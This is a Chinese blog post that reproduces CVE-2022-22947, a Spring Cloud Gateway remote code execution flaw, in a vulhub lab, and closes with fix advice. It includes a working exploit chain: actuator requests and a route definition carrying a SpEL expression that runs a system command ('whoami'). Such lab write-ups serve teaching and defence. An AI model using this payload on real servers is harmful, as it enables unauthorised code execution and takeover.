CVE-2022-22947-Spring Cloud Gateway远程代码执行漏洞

CVE-2022-22947

CVE-2022-22947,Spring Cloud Gateway远程代码执行漏洞

漏洞原理:

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

漏洞复现:

步骤一:启动环境

本文使用的是vulhub环境

docker-compose up -d

步骤二:修改GET/actuator请求,确认actuator端口开启

步骤三:修改get请求,获取路由信息GET /actuator/gateway/routes/

当前只有路由index,该路由默认跳转到uri:http://example.com:80


步骤四:构造一个post请求包,POST /actuator/gateway/routes/test ,添加一个Content-type:application/json添加一个包含恶意SpEL表达式的路由

{

"id": "test",

"filters": [

{

"name": "AddResponseHeader",

"args": {

"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

步骤五:刷新路由,POST /actuator/gateway/refresh,Content-Type:application/x-www-form-urlencoded

步骤六:获取路由信息GET /actuator/gateway/routes/,新增路由test成功

步骤七:构造get请求,查看当前路由信息,GET /actuator/gateway/routes/test,检索结果命令执行结果,当前用户为root

步骤八:删除前面构造的路由,DELETE /actuator/gateway/routes/test

修复建议:

更新版本
如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用
如果需要actuator,则应使用 Spring Security 对其进行防护,可参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security

漏洞总结:

当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

参考文章:

https://blog.csdn.net/xiaobai_20190815/article/details/124045768

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值